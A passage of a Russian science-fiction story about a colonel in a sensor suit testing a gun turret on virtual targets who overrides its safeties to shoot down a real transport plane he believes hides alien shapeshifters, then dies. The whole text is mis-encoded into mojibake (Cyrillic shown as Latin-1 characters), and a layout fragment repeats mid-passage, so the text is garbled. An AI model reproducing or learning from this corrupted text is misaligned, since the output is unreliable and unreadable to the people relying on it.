òîâ, Êóçíåöîâ ïðèäàë ìàøèíå óñêîðåíèå, âûïîëíèë äâà ïðûæêà,
ïîñëå êîòîðûõ óäèâëåííî ñîîáùèë îïåðàòîðó î ïîëíîì îòñóòñòâèè
èíåðöèîííûõ òîë÷êîâ ïðè ïðèçåìëåíèè.

- Ñòàðàåìñÿ, - îòâåòèë îïåðàòîð è îòêëþ÷èëñÿ. Ïîëêîâíèê ïî-
êà÷àë ãîëîâîé, íî, óñëûøàâ ïðåäóïðåæäàþùèé ãóäîê â íàóøíè-
êàõ, ïîéìàë ñåáÿ íà ìûñëè, ÷òî åùå íå äî êîíöà çàïîìíèë âñþ
ñõåìó óïðàâëåíèÿ ìàøèíîé è ÷òî ëþáîå åãî íåïðîäóìàííîå äâè-
æåíèå ñïîñîáíî çàñòàâèòü òåõíèêó âûïîëíèòü ÷òî-ëèáî íåçàïëà-
íèðîâàííîå.

- Ïîäñêàçêè, - áðîñèë ïîëêîâíèê â ïóñòîòó âîäèòåëüñêîé êàïñó-
ëû. Â óøàõ òóò æå çàçâó÷àë ìÿãêèé æåíñêèé ãîëîñ, ïåðå÷èñëÿþùèé
ôóíêöèè ñåíñîðíîãî êîñòþìà â ïîðÿäêå âàæíîñòè.

- Ïî ãðóïïàì, - óòî÷íèë Êóçíåöîâ. Ïîðÿäîê ÷òåíèÿ èíñòðóêöèè
ñìåíèëñÿ, òåïåðü îíè ñîîáùàëèñü åìó ïîñåêöèîííî - è íà ïåðâîì »
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ìåñòå áûëè, êàê îí è ïðåäïîëàãàë, èíñòðóêöèè ïî ñòðåëüáå. Çà ãî-
ëîñîì, äèêòóþùèì ïîëêîâíèêó ïîäñêàçêè, òîò ðàçëè÷èë åëå óëîâè-
ìûé ôîí - îïåðàòîð âêëþ÷èë ñâÿçü è èíòåðåñîâàëñÿ, ÷òî ïðîèñõî-
äèò â ìàøèíå.

- "Ðûáà-ìîëîò" - îïåðàòîðó. Ïîâòîðåíüå - ìàòü ó÷åíüÿ�
Ôîí èñ÷åç. Óñïîêîåííûé îïåðàòîð ïðåêðàòèë ïîäñëóøèâàòü è

ïðèíÿëñÿ ñëåäèòü çà îòìåòêîé íà ðàäàðå. Òåì âðåìåíåì ìàøèíà
ïðåîäîëåëà âñþ ïîëîñó ïðåïÿòñòâèé, â êîíöå åå îáðóøèâ ïàðó áå-
òîííûõ ïëèò, ïîñëå ÷åãî áûë ïðîâåäåí áûñòðûé òåñò îïòèêè è ñåð-
âîìîòîðîâ òóðåëè. Âûâîä óñïîêîèë è Êóçíåöîâà, è îïåðàòîðà - ìà-
øèíà áûëà â ïîëíîì ïîðÿäêå.

Ïîëêîâíèê ïîâåë ãîëîâîé èç ñòîðîíû â ñòîðîíó - êðóãëûå ðàìêè
ïðèöåëîâ, ïåðå÷åðêíóòûå äèñòàíöèîííûìè ëèíèÿìè, ïîêàçàëè åìó
ïîëóîêðóæíîñòü ïîëèãîíà. Îí ïîäíÿë ãëàçà - íàä íèì íàâèñàëè ÷å-
òûðå òîëñòûõ ñòâîëà ñ ðàññåèâàòåëÿìè ïëàìåíè íà êîíöàõ.

Íàâèñëà ãíåòóùàÿ ïàóçà. Êóçíåöîâ çíàë, ÷òî ñåé÷àñ êîìïüþòåðû
ïîëèãîíà ñîçäàþò åìó öåëü - âèðòóàëüíóþ. Ñîîòâåòñòâóþùóþ âñåì
óñëîâèÿì, êîòîðûå ìîãóò âîçíèêíóòü ïðè ïàòðóëèðîâàíèè. Ïîëêîâ-
íèê çàñòûë â íàïðÿæåíèè, îæèäàÿ ÷åãî-òî ñâåðõúåñòåñòâåííîãî,
õîòÿ ïðåêðàñíî ïîíèìàë, ÷òî âñå áóäåò â ðàìêàõ ðåàëüíîãî è íåîá-
õîäèìîãî - âðÿä ëè îí óâèäèò â îáëàêàõ âîçäóøíûé øàð áðàòüåâ
Ìîíãîëüôüå.

Ïî÷åìó-òî âñïîìíèë î æåíå. Â ãîëîâå âçáðûêíóëà è òóò æå çà-
òèõëà, çàäàâëåííàÿ âîëåé Êóçíåöîâà, ìûñëü î òîì, ÷òî åñëè áû íå
ýòà âîéíà, êîòîðàÿ ïðîäîëæàåòñÿ âîò óæå øåñòü ëåò - îí áû óæå
áûë íà ïåíñèè, ó íèõ áûë áû ïðåêðàñíûé äîìèê íà áåðåãó Âîëãè,
îíè íÿí÷èëè áû âíóêîâ è âñïîìèíàëè, âñïîìèíàëè� À ïîòîì ïåðåä
ãëàçàìè ïðîìåëüêíóëî ëèöî ñûíà, êàêèì îí åãî âèäåë ïåðåä ïî-
ñëåäíèì ïîëåòîì, ïîòîì ãðàíèòíîå íàäãðîáüå - è íà ýòîì èäèëëèÿ
ñ äîìèêîì â ìîçãó ïðåðâàëàñü îêîí÷àòåëüíî.

Òðåâîæíûé ãóäîê âûâåë åãî èç ðàçäóìèé. Â ãëàçàõ çàñâåð-
êàëè ñìåíÿþùèå äðóã äðóãà íåïîíÿòíûå îáðàçû, âûäðàííûå
íàñòîé÷èâûì êîìïüþòåðîì èç ìîçãà. Ïðàâûì ãëàçîì, íà êîòî-
ðûé ñåé÷àñ òðàíñëèðîâàëîñü íåáî íàä ãîëîâîé, îí óâèäåë
âåðòîëåò Ìè-8, èäóùèé íà âûñîòå øåñòèñîò ìåòðîâ (äàëüíî-
ìåð ñèãíàëèçèðîâàë îá ýòîì ìàëåíüêîé íàäïèñüþ íà ñàìîé
ãðàíèöå ïîëÿ çðåíèÿ).

- Áîëüøå, - ïðîèçíåñ Êóçíåöîâ. Âåðòîëåò áóäòî ìåòíóëñÿ íà-
âñòðå÷ó è, óâåëè÷åííûé, ïîâèñ ïåðåä ñàìûì íîñîì ïîëêîâíèêà.
Íà áîðòó ïðîñòóïèë ðîññèéñêèé ãåðá, íîìåð è íàäïèñü "Ì×Ñ".
Ñëåãêà ïîâåäÿ ãîëîâîé, Êóçíåöîâ îñìîòðåë êàáèíó âåðòîëåòà,
óâèäåë òàì äâóõ ïèëîòîâ, ìèðíî áåñåäóþùèõ ìåæäó ñîáîé, ïî-
òîì çàãëÿíóë â êàæäûé èëëþìèíàòîð - âíóòðè áûëî ïóñòî, ïî
êðàéíåé ìåðå, íà ïåðâûé âçãëÿä. Âåðòîëåò íåòîðîïëèâî ïîëç â
ñòîðîíó îò ïîëèãîíà - òóäà, ãäå çà ðîùèöåé ñêðûâàëñÿ âîåííûé
ãîðîäîê, èç êîòîðîãî è ïðèáûë íà ðàáîòó ïîëêîâíèê. Â òå÷åíèå
ïðèìåðíî äâóõ-òðåõ ìèíóò îí áûë áû åùå âèäåí - à ïîòîì äîë-
æåí áûë ñíèçèòüñÿ, ÷òîáû íå âëÿïàòüñÿ â îáëà÷íîñòü, è èñ÷åç-
íóòü çà äåðåâüÿìè.

Êóçíåöîâ ïîíà÷àëó äàæå íå ïîíÿë - öåëü ýòî èëè íàñòîÿùèé âåð-
òîëåò, ñîâåðøàþùèé ïëàíîâûé ïîëåò. Îäíàêî òðåáîâàòåëüíûé ãî-
ëîñ îïåðàòîðà ðàçâåÿë åãî èëëþçèè:

- "Ðûáà-ìîëîò", âû çàïîçäàëè ñî âðåìåíåì ðåàêöèè. Ïðîøó âàñ
ñîáðàòüñÿ.

Îïåðàòîð íå íàâÿçûâàë ïîëêîâíèêó òåìï - îí ïîêà ÷òî âåæëè-
âî ïðîñèë. Äà Êóçíåöîâ è ñàì ïîíèìàë, ÷òî ñîâåðøèë îøèáêó,
ïîääàâøèñü ýìîöèÿì. Âûðóãàâ ñåáÿ ñêâîçü çóáû, îí ëåãêî ïîøå-
âåëèë ïàëüöàìè íà ðóêàõ - òóðåëü ìãíîâåííî ïîéìàëà âåðòîëåò â
çàõâàò è ïðèíÿëàñü ñîïðîâîæäàòü öåëü, ìåäëåííî çàâàëèâàÿ óãîë
ê ãîðèçîíòó. Êóçíåöîâ ñîñðåäîòî÷èëñÿ íà èçîáðàæåíèÿõ, äëèí-
íîé ÷åðåäîé ïðîíîñÿùèõñÿ ó íåãî ïåðåä ãëàçàìè. Âíåçàïíî ÷òî-
òî êîðîòêî ïèñêíóëî; èçîáðàæåíèÿ, ñïðîåöèðîâàííûå íà îáà ãëà-
çà, ñëèëèñü â ñòåðåîîáðàç âåðòîëåòà Ìè-8. Êîíòóð êîñòþìà çà
äîëþ ñåêóíäû ïðîñ÷èòàë ïàðàìåòðû óçíàâàíèÿ. Ïåðåä ëèöîì
ïîëêîâíèêà - íà ðàññòîÿíèè âûòÿíóòîé ðóêè - ïðîñòóïèëà ôðàçà:
"ÖÅËÜ ÎÏÎÇÍÀÍÀ. ÎÃÎÍÜ!"

- Îãîíü! - ïîâòîðèë Êóçíåöîâ. Ïî ñòâîëàì ïðîáåæàëà öåïü ñèã-
íàëüíûõ îãîíüêîâ, íà çàìêîâûõ ÷àñòÿõ âñïûõíóëè êðàñíûå ìàÿ÷êè,
ïðåäóïðåæäàþùèå î áîåâîé ãîòîâíîñòè; ñïóñòÿ ñåêóíäó èç ÷åòûðåõ
ñòâîëîâ â ñòîðîíó âåðòîëåòà ìåòíóëèñü äëèííûå íèòè òðàññèðóþ-
ùèõ ïóëü.

Âîçäóõ ïîëèãîíà íàïîëíèëñÿ âîåì è ãðîõîòîì. Âíóòðè âîäè-
òåëüñêîé êàïñóëû áîé ìåõàíèçìà íå îùóùàëñÿ ïðàêòè÷åñêè íè-
êàê; Êóçíåöîâ âíèìàòåëüíî, íå øåëîõíóâøèñü, îòñëåäèë òðàññå-
ðû äî êîíòàêòà ñ öåëüþ, ïðîøåïòàë "Åñòü!.." è óâèäåë, êàê âåð-
òîëåò, ðàçâàëèâøèñü ïîïîëàì îò ìîùíîãî óäàðà êðóïíîêàëèáåð-
íûõ ïóëü è îñâåùàÿ ìðà÷íûå ñóìåðêè ïëàìåíåì äâèãàòåëÿ, ïà-
äàåò â ðîùó.

Ñêîëüêî ðàç Êóçíåöîâ âèäåë ïàäåíèå âèðòóàëüíûõ öåëåé - íî íè-
êàê íå ìîã îòäåëàòüñÿ îò ìûñëåé î òåõ, êîãî ýòî ïàäåíèå ìîãëî çà-
ñòàòü âðàñïëîõ âíèçó; íåîäíîêðàòíî îí ñïðàøèâàë îá ýòîì îïåðà-
òîðîâ è â îòâåò ïîëó÷àë ëèøü óñìåøêó - ýòè öåëè ñóùåñòâîâàëè
òîëüêî â øëåìå ïîëêîâíèêà. Âîò è ñåé÷àñ - ìûñëü î òîì, ÷òî êòî-
íèáóäü ìîã îêàçàòüñÿ òàì, êóäà ïàäàëè ãîðÿùèå îáëîìêè, íå ïîêè-
äàëà åãî. Îïåðàòîð, çíàÿ, ÷òî Êóçíåöîâ íå óäåðæèòñÿ îò âîïðîñà,
ïðîèçíåñ, ïðåäóïðåæäàÿ:

- Öåëü ïîðàæåíà è áóäåò óäàëåíà ñ ýêðàíà.
Íàêàòèë çâóê ìîðñêîé âîëíû, âñåãäà ñîïðîâîæäàâøèé óäà÷-

íûå ïîïàäàíèÿ (êòî-òî èç ïñèõîëîãîâ ïîñ÷èòàë, ÷òî ýòîò çâóê
î÷åíü ïðèÿòåí è óñïîêàèâàåò ñòðåëêîâ); âåðòîëåò, íå äîëåòåâ è
ïîëîâèíû ðàññòîÿíèÿ äî çåìëè, âäðóã çàìåðöàë, ñëîâíî ïî ýêðà-
íó òåëåâèçîðà ïîøëà ðÿáü, è èñ÷åç, íå îñòàâèâ ïîñëå ñåáÿ äàæå
äûìíîé ïîëîñû�

- Âîò òàê� - íåäîâåð÷èâî ñêàçàë Êóçíåöîâ è íåñêîëüêî ñåêóíä
ïðîäîëæàë âãëÿäûâàòüñÿ â îïóñòåâøåå íåáî. Âïåðâûå åãî ïîñå-
òèëî îùóùåíèå íåðåàëüíîñòè ïðîèñõîäÿùåãî. Îí âñïîìíèë, êàê
îäíàæäû ñáèë êàòåð àìîðôîâ, âûãëÿäåâøèé êàê "êóêóðóçíèê",
ïðîáèðàþùèéñÿ íà áðåþùåì ïîëåòå íàä ìîëîäûìè åëî÷êàìè íå-
äàëåêî îò Èðêóòñêà. Òîãäà ýòîò ñàìûé òðóäÿãà-ñàìîëåòèê âñïûõ-
íóë êàê ïîðîõ, çà ñ÷èòàííûå ñåêóíäû âîøåë â øòîïîð è óñòðîèë
òàêîé ïîæàð â ëåñîíàñàæäåíèÿõ, ÷òî íåñêîëüêî áðèãàä ïîæàðíè-
êîâ ïûòàëîñü ïîòóøèòü åãî â òå÷åíèå òðåõ ñóòîê, ïîñëå ÷åãî ïî-
ñòóïèëè ðàçóìíî - íàïðàâëåííûìè âçðûâàìè âûðóáèëè ëåñ íà
ó÷àñòêå, ïðèëåãàþùåì ê ãîðîäó. Îãîíü, íàòêíóâøèñü íà ðàçâîðî-
÷åííóþ çåìëþ è íå íàéäÿ ïèùè, çàãëîõ ê èñõîäó ïÿòîãî äíÿ. Âñå-
ãî ëèøü ìàëåíüêèé ñàìîëåòèê; âñåãî ëèøü îäíà ðàêåòà, ïîñëàí-
íàÿ ïî ïðèêàçó ãëàç Êóçíåöîâà�

Êîãäà èç îáëàêîâ âûíûðíóë áîìáàðäèðîâùèê, Êóçíåöîâ áûë ê
ýòîìó ãîòîâ. Øóìà âèíòîâ îí íå ñëûøàë; íåìîå ïàäåíèå ìàøèíû,
íà÷èíåííîé ñìåðòåëüíûì ãðóçîì, çàâîðàæèâàëî ïîëêîâíèêà, îä-
íàêî êîñòþì è êîìïüþòåð íå äàëè åìó ðàññóæäàòü - ñåðèÿ ãóäêîâ,
ìåëüêàíèå îáðàçîâ, "ÖÅËÜ ÎÏÎÇÍÀÍÀ", ëåãêîå äâèæåíèå ãóá�
Îãíåííàÿ ñòåíà, ðàñ÷åð÷åííàÿ íèòÿìè òðàññåðîâ ïðÿìî ïåðåä íî-
ñîì ó âèðòóàëüíîãî ýêèïàæà íàïàäàþùåãî ñàìîëåòà, íà ìãíîâå-
íüå ñêðûëà åãî îò Êóçíåöîâà. Ïîòîì èç ñâåðêàþùåãî, äðîáÿùåãî-
ñÿ íà ÷àñòè äûìíîãî îáëàêà âûâàëèëèñü îáëîìêè òîãî, ÷òî íåêîã-
äà áûëî áîìáàðäèðîâùèêîì. Ê çåìëå ïîíåñëèñü ïûëàþùèå êóñ-
êè îáøèâêè; ñòâîëû ïðîäîëæàëè ïîëèâàòü èõ ñâèíöîì, ïîëíîñòüþ
çàõâàòèâ óïðàâëåíèå ñòðåëüáîé - êîìïüþòåð âûäåëÿë â ýòîé îã-
íåííîé êàøå áîìáû, âûñâîáîæäåííûå âçðûâîì èç çàõâàòîâ è
ì÷àùèåñÿ ê çåìëå. Êîðîòêàÿ ñåðèÿ ìîùíûõ ãëóõèõ âçðûâîâ ïðî-
çâó÷àëà â óøàõ Êóçíåöîâà; íè îäíà èç áîìá íå äîñòèãëà çåìëè,
áóäó÷è âçîðâàííîé â âîçäóõå.

Íà ýòîò ðàç îïåðàòîð íå ñòàë óáèðàòü èçîáðàæåíèå. ×åðíûå, îï-
ëàâëåííûå è óæå ïðåêðàòèâøèå ãîðåòü êóñêè ñàìîëåòà óïàëè â íå-
ñêîëüêèõ ñîòíÿõ ìåòðîâ îò ìàøèíû ïîëêîâíèêà, âçìåòíóâ òó÷ó ãðÿ-
çè âîêðóã ñåáÿ. Ïîëêîâíèê óäîâëåòâîðåííî êèâíóë è ïðîèçíåñ:

- "Ðûáà-ìîëîò" - îïåðàòîðó. Çàäàíèå âûïîëíèë. Öåëè ïîðàæåíû.
Äåôåêòîâ â îïîçíàíèè öåëåé íå âûÿâëåíî. Ðàçðåøèòå ñëåäîâàòü ê
àíãàðó?

Íèêàêîãî îòâåòà. Òèøèíà â íàóøíèêàõ íåñêîëüêî óäèâèëà è îçà-
äà÷èëà. Êóçíåöîâ íåäîóìåííî ïîäíÿë áðîâè:

- "Ðûáà-ìîëîò" - îïåðàòîðó ïîëèãîíà. Ïîâòîðÿþ - çàäàíèå âû-
ïîëíåíî. Èìåþòñÿ ëè çàìå÷àíèÿ ïî âåäåíèþ îãíÿ?

Â íàóøíèêàõ çàøèïåëî. Îïåðàòîð âêëþ÷èëñÿ, íî íè÷åãî íå ãîâî-
ðèë. Ñïóñòÿ íåñêîëüêî ñåêóíä òàêîãî ìîë÷àíèÿ ïîëêîâíèê íå âû-
äåðæàë è ñ îôèöèàëüíîãî ÿçûêà ïåðåøåë íà ðàçãîâîðíûé:

- Êàêîãî ÷åðòà?! ×òî òàì ó âàñ ïðîèñõîäèò?
- Îïåðàòîð ïîëèãîíà - "Ðûáå-ìîëîò". Çàäàíèå âûïîëíåíî íà "îò-

ëè÷íî". Ïîñòóïèëè íîâûå ââîäíûå. Ê ïîëèãîíó ñ ñåâåðî-âîñòî÷íîé
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Íàâèñëà ãíåòóùàÿ ïàóçà. Êóç-
íåöîâ çíàë, ÷òî ñåé÷àñ êîì-

ïüþòåðû ïîëèãîíà ñîçäàþò åìó
öåëü - âèðòóàëüíóþ.



ñòîðîíû ïðèáëèæàåòñÿ ðåàëüíàÿ öåëü - ÷åòûðåõìîòîðíûé Èë-18.
Íà âñå ïîçûâíûå îòâåòèë ïðàâèëüíî, êóðñ äåðæèò íà çàïàñíîé àý-
ðîäðîì ê âîñòîêó îò âîåííîãî ãîðîäêà. Îäíî "íî" - òóò åãî ïðîñòî
íå ìîæåò áûòü�

Ïîëêîâíèê íàïðÿãñÿ. Çäåñü, íàä ïîëèãîíîì, àìîðôû íå ïîÿâëÿ-
ëèñü íè ðàçó - õîòÿ äîëæíû áûëè áû ðàñöåíèòü ýòî ìåñòî êàê ñà-
ìóþ ïîäõîäÿùóþ öåëü äëÿ àòàêè; âåäü èìåííî çäåñü ðàçðàáàòûâà-
ëîñü îðóæèå, êîòîðîå óñïåøíî èñïîëüçîâàëîñü ïðîòèâ íèõ. Âðÿä
ëè èìåííî ñåé÷àñ è çäåñü ìîæåò ñëó÷èòüñÿ ÷òî-òî íåçàïëàíèðîâàí-
íîå. Íî ÷åì ÷åðò íå øóòèò�

- Áîåâàÿ òðåâîãà, - ñêàçàë ïîëêîâíèê è ñàì óäèâèëñÿ îòñóòñòâèþ
èíòîíàöèé â ãîëîñå. Ïðîçâó÷àëî ýòî íàñòîëüêî îáûäåííî, ÷òî îïå-
ðàòîð òîæå íå ñðàçó ñðåàãèðîâàë. Âäîëü ïîçâîíî÷íèêà ïðîáåæàëà
âîëíà êîëþ÷èõ ìóðàøåê - êîñòþì âûïîëíÿë òî÷å÷íûé ìàññàæ äëÿ
ìîáèëèçàöèè íåðâíîé ñèñòåìû. Ñòâîëû âíîâü áûëè íàèçãîòîâêó, â
óøè âîðâàëñÿ ðîêîò ìîòîðîâ "Èëà".

Íåìíîãî ïîêðóòèâ ìàøèíó íà ìåñòå è ðàçáðûçãàâ ãðÿçü,
Êóçíåöîâ äîáèëñÿ òîãî, ÷òî âåñü êóðñ ñàìîëåòà ïðîëåãàë ó íå-
ãî íàä ãîðèçîíòîì. Ïðèöåëû âçÿëè åãî â çàõâàò; íè÷åãî îñî-
áåííîãî, îáû÷íûé ñàìîëåò öâåòà õàêè, ãðóçîïàññàæèðñêàÿ àð-
ìåéñêàÿ ðàáî÷àÿ ëîøàäêà. Ðîññèéñêèé ôëàã, áîðòîâîé íîìåð,
â êàáèíå äâà ïèëîòà, ëèöà ïëîõî ðàçëè÷èìû èç-çà çàõîäà ïðî-
òèâ ñîëíöà.

- Îïåðàòîð ïîëèãîíà - áîðòó "øåñòüäåñÿò äâà òðèíàäöàòü". Öåëü
âàøåãî íàõîæäåíèÿ â çàêðûòîì ñåêòîðå âîçäóøíîãî ïðîñòðàíñòâà?

- Áîðò - îïåðàòîðó, - ïðîçâó÷àë áîäðûé ãîëîñ îòêóäà-òî ñ íåáåñ.
- Ïðîäîâîëüñòâèå äëÿ êîìàíäû ïîëèãîíà, ðåéñ íåçàïëàíèðîâàííûé
ââèäó òîãî, ÷òî ãðóç ñêîðîïîðòÿùèéñÿ - ôðóêòû. Ïðèÿòíîãî àïïåòè-
òà!

- Ñïàñèáî, - ãîëîñ îïåðàòîðà, äî ýòîãî ñóõîé è òðåáîâàòåëüíûé,
ïîòåïëåë. - Îòâåäàåì âàøèõ ôðóêòîâ, òîëüêî íå ðàñòðÿñèòå. Ìÿã-
êîé ïîñàäêè!

À ïîëêîâíèê, çàñòûâøèé â êðåñëå âîñêîâîé êóêëîé, íå çàìå÷àë,
êàê ïåðåä ãëàçàìè öâåòíûìè êðóãàìè ïðîíîñÿòñÿ ìîäåëè ñàìîëå-
òîâ, êîãäà-ëèáî ó÷àñòâîâàâøèõ â ïîëèìîðôíîé ìàñêèðîâêå ïðè-
øåëüöåâ. Îí îòðåøèëñÿ îò ïðîèñõîäÿùåãî; äàæå êîíòðîëüíûå
ñèãíàëû ñ êîñòþìà, ïðèçâàííûå ïðèâîäèòü â ÷óâñòâî ïðè îòñóòñò-
âèè àêòèâíîñòè, íå äîñòàâàëè åãî. Ïîëêîâíèê âïèëñÿ ãëàçàìè â
ïèëîòñêóþ êàáèíó "Èëà", â êîòîðîé óãàäûâàëèñü äâà ÷åëîâåêà,
äåðæàùèå ðóêè íà øòóðâàëàõ. Â ýòîò ìîìåíò ïðîñìîòð àññîöèà-
öèé çàêîí÷èëñÿ.

Ïåðåä ãëàçàìè ïîÿâèëàñü íàäïèñü, ïðîäóáëèðîâàííàÿ â íàóøíè-
êàõ âñå òåì æå ïðèÿòíûì æåíñêèì ãîëîñîì:

- Öåëü îïîçíàíà êàê ìèðíàÿ. Îãîíü íå îòêðûâàòü.
- Íåò, - øåïíóë ïîëêîâíèê. - Îãîíü� Ýòî� Îãîíü�
- Îïåðàòîð ïîëèãîíà - "Ðûáå-ìîëîò". Âàøè êîìàíäû íå ïðîõî-

äÿò ââèäó èõ îøèáî÷íîñòè. Êîñòþì îòñëåäèë âàøè ðåàêöèè - âû
îïîçíàëè íàø ñàìîëåò ÀÁÑÎËÞÒÍÎ ïðàâèëüíî. Äàþ äîáðî áîðòó
"øåñòüäåñÿò äâà òðèíàäöàòü" íà ïðîõîä íàä ïîëèãîíîì.

- Ïðèíÿë, - îòâåòèë âñå òîò æå ìîëîäîé çàäîðíûé ãîëîñ. - Äî
âñòðå÷è íà óæèíå!

- Óäà÷è, - óñìåõíóëñÿ îïåðàòîð.
- Íåò, - óïðÿìî ãîâîðèë Êóçíåöîâ. - Îíè� Ýòî îáìàí.
- "Ðûáà-ìîëîò", âîçâðàùàéòåñü â àíãàð�
Ïîëêîâíèê áåñïîìîùíî âçìàõíóë ðóêàìè, îæèäàÿ ðåàêöèè àâòî-

ìàòèêè. Íè÷åãî íå ïðîèçîøëî. Îïåðàòîð áûë, ñóäÿ ïî âñåìó,
âñòðåâîæåí ïîâåäåíèåì Êóçíåöîâà è äèñòàíöèîííî âëèÿë ñåé÷àñ
íà áîåâîé êîìïüþòåð. Êîíòðîëüíûå îãíè íà òóðåëè ïîãàñëè, ñòâî-
ëû êèâíóëè è âñòàëè â ïîõîäíîå ïîëîæåíèå - âåðòèêàëüíî â çåíèò.

- ß ÎØÈÁÑß! - çàêðè÷àë Êóçíåöîâ. - ß ÎØÈÁÑß! Íàäî àòàêî-
âàòü! Îãîíü!

Ñåðäöå âäðóã óäàðèëî èçíóòðè â ãðóäíóþ êëåòêó, ñëîâíî ïûòà-
ÿñü âûðâàòüñÿ íà ñâîáîäó; ïîòîì ñæàëîñü äî ðàçìåðîâ òåííèñíî-
ãî ìÿ÷èêà - ïîëêîâíèê äèêî çàêðè÷àë îò áîëè, îäíîâðåìåííî ïû-
òàÿñü îñâîáîäèòüñÿ îò ýëàñòè÷íîãî îáëåãàþùåãî êîñòþìà. Áîëü
íå îòïóñêàëà; âñå òåëî ìãíîâåííî ïîêðûëîñü êðóïíûìè êàïëÿìè
õîëîäíîãî ïîòà, çàñòàâëÿÿ êîñòþì íàìåðòâî ïðèëèïàòü ê òåëó.
Êóçíåöîâ êðè÷àë, êðè÷àë, êðè÷àë� Èç åãî ðòà âûðûâàëèñü æóòêèå
íå÷ëåíîðàçäåëüíûå çâóêè, òåëî ñâîäèëî ñóäîðîãîé, íî îí ïðîäîë-
æàë ñòÿãèâàòü êîñòþì, ðàçðûâàÿ åãî ñî÷ëåíåíèÿ, âûäèðàÿ êîíòàê-
òû - îí âèäåë ïåðåä ñîáîé òîëüêî îäíó öåëü; îí äîëæåí áûë ñïðà-
âèòüñÿ ñ íåé âî ÷òî áû òî íè ñòàëî.

Íàêîíåö îáíàæåííîå òåëî ïîëêîâíèêà îêàçàëîñü íà ñâîáîäå.
Íà ñåêóíäó îí êðåïêî ïðèæàë ðóêè ê ãðóäè, ñëîâíî ïûòàÿñü óíÿòü

áîëü. Íî ïîòîì òåëî ðâàíóëîñü â ëþê, íàâåðõ, íà áðîíþ. Òàê îí
è âûáðàëñÿ â ñóìåðêè ïîëèãîíà - ãîëûé, ñâåðêàþùèé îò ïîòà,
òðÿñóùèéñÿ îò áîëè, êðèêà è ñóäîðîã. Îïåðàòîð ÷òî-òî îðàë â íà-
óøíèêè, îñòàâøèåñÿ â êàïñóëå - íî ïîëêîâíèê íå îáðàùàë íà ýòî
âíèìàíèÿ. Ñëàáåþùåé ðóêîé îí íàøàðèë ó îñíîâàíèÿ òóðåëè
áëîê óïðàâëåíèÿ - òîò ñàìûé, êîòîðûé îáùàëñÿ ñíà÷àëà ñ îïåðà-
òîðîì, ïîòîì ñ êîñòþìîì ïîëêîâíèêà, è òîëüêî ïîòîì ñ áîåâûì
àëãîðèòìîì. Âûðâàâ èç åãî íåäð, íàïè÷êàííûõ ïðîâîäàìè, íå-
ñêîëüêî êîíòàêòîâ, îí áûñòðûì äâèæåíèåì ðàññåê êîæó íà ïðåä-
ïëå÷üå î çàóñåíèöó ëþêà, îáíàæèë äàò÷èê è ïðèëîæèë ê íåìó ñå-
ðåáðèñòóþ ïëàñòèíó.

Íîâûé ïðèñòóï áîëè, êðèê, êîòîðûé çàãëóøèë æóææàíèå ñåðâî-
ìîòîðîâ, îòêëèêíóâøèõñÿ íà ïðÿìîé êîíòàêò ñî ñòðåëêîì. Òóðåëü
çàøåâåëèëàñü, â çàìêîâîé ÷àñòè îòêðûëèñü äâå ðóêîÿòêè ñ íå-
ñêîëüêèìè êíîïêàìè, âñïûõíóëè ñèãíàëüíûå ëàìïû áîåâîé ãîòîâ-
íîñòè.

Äàëåêî îòñþäà, íà êðûøå îïåðàòîðñêîé áàøíè, ïîÿâèëñÿ ñíàé-
ïåð ñî ñòàöèîíàðíîé âèíòîâêîé è îñòîðîæíî ïîïîëç ïî ïîêàòîé
êðûøå ê ëååðàì; ïðèêàç áûë îäíîçíà÷åí - íå äîïóñòèòü ñòðåëüáó,
íåéòðàëèçîâàâ ñîøåäøåãî ñ óìà ïîëêîâíèêà.

Íî Êóçíåöîâ óñïåë. Îí óõâàòèëñÿ çà ðóêîÿòè, ðàçâåðíóë ñòâîëû
è, íàéäÿ íà òåìíåþùåì íåáå ïîäñâå÷åííûé ñèãíàëüíûìè îãíÿìè
ñàìîëåò, íàæàë íà ãàøåòêè. Ñòâîëû îòîçâàëèñü íà ýòî ïðèêîñíîâå-
íèå ãðîõîòîì è ðîññûïüþ îãðîìíûõ ðàçëåòàþùèõñÿ êðàñíûõ ãèëüç.
Äëèííûå òðàññèðóþùèå íèòè ïðîòÿíóëèñü ê "Èëó" è âîíçèëèñü åìó
â êðûëüÿ è õâîñò.

- ÂÈÒÀ-À-ÀËÜÊÀ! - êðè÷àë ïîëêîâíèê, íàìåðòâî âöåïèâøèñü â
ïóëåìåò. - ÏÐÎÑÒÈ ÌÅÍß, ÂÈÒÀ-À-ËÜÊÀ-À-À!

È êîãäà ñàìîëåò âñïûõíóë â íåáå è ïðåâðàòèëñÿ â ÿðêèé îãíåí-
íûé øàð, ðàñöâåòèâ îêðåñòíîñòè â îðàíæåâûå òîíà - òîëüêî òîãäà

ïîëêîâíèê ðóõíóë íà áðîíþ, äàæå íå çàìåòèâ òîãî, êàê óäàðèëñÿ
ãîëîâîé îá îñíîâàíèå òóðåëè. Ñòðàøíàÿ, íå÷åëîâå÷åñêàÿ áîëü â
ãðóäè çàòìèëà âñå - îí âûãíóëñÿ äóãîé, ðàçãðåáàÿ áóäòî ÷óæèìè
ðóêàìè òåïëûå ãèëüçû, áûñòðî îñòûâàþùèå íà âåòðó. À îíè çâåíå-
ëè, îñûïàÿñü ñ áîðòà, çâåíåëè�

- Ïðîñòè� - â ïîñëåäíèé ðàç øåïíóë Êóçíåöîâ. Ïîòîì ñæàë â ðó-
êå ãîðÿ÷óþ ãèëüçó - è óìåð.

È òîëüêî îïåðàòîð ïîëèãîíà äà ñíàéïåð íà êðûøå âèäåëè, êàê èç
îãíåííîãî øàðà âûâàëèëñÿ øëÿïêîé âíèç ïîêîðåæåííûé "ãðèá" è
óïàë â ðîùó�

* * * * *
Ãåíåðàë àêêóðàòíî óëîæèë îðäåí â êîðîáî÷êó, ïðîòÿíóë æåíå

Êóçíåöîâà, ïîñòàðåâøåé â îäíî ìãíîâåíèå ëåò íà äâàäöàòü.
- ×åñòü èìåþ, - êîçûðíóë îí åé. - Âàø ìóæ áûë è îñòàíåòñÿ äëÿ

íàñ ïðèìåðîì âî âñåì� Ïðîñòèòå ìåíÿ. È íå äîæèäàÿñü, êîãäà ó
æåíùèíû ñäàäóò íåðâû, îí âûøåë íà óëèöó; àäúþòàíò Êóçíåöîâà,
ñîïðîâîæäàâøèé åãî äî êâàðòèðû, æäàë âîçëå ìàøèíû.

Ãåíåðàë ïîêà÷àë ãîëîâîé:
- Äî ñèõ ïîð íå ïðåäñòàâëÿþ, êàê îí ðåøèëñÿ� Çàòî òåïåðü ìû

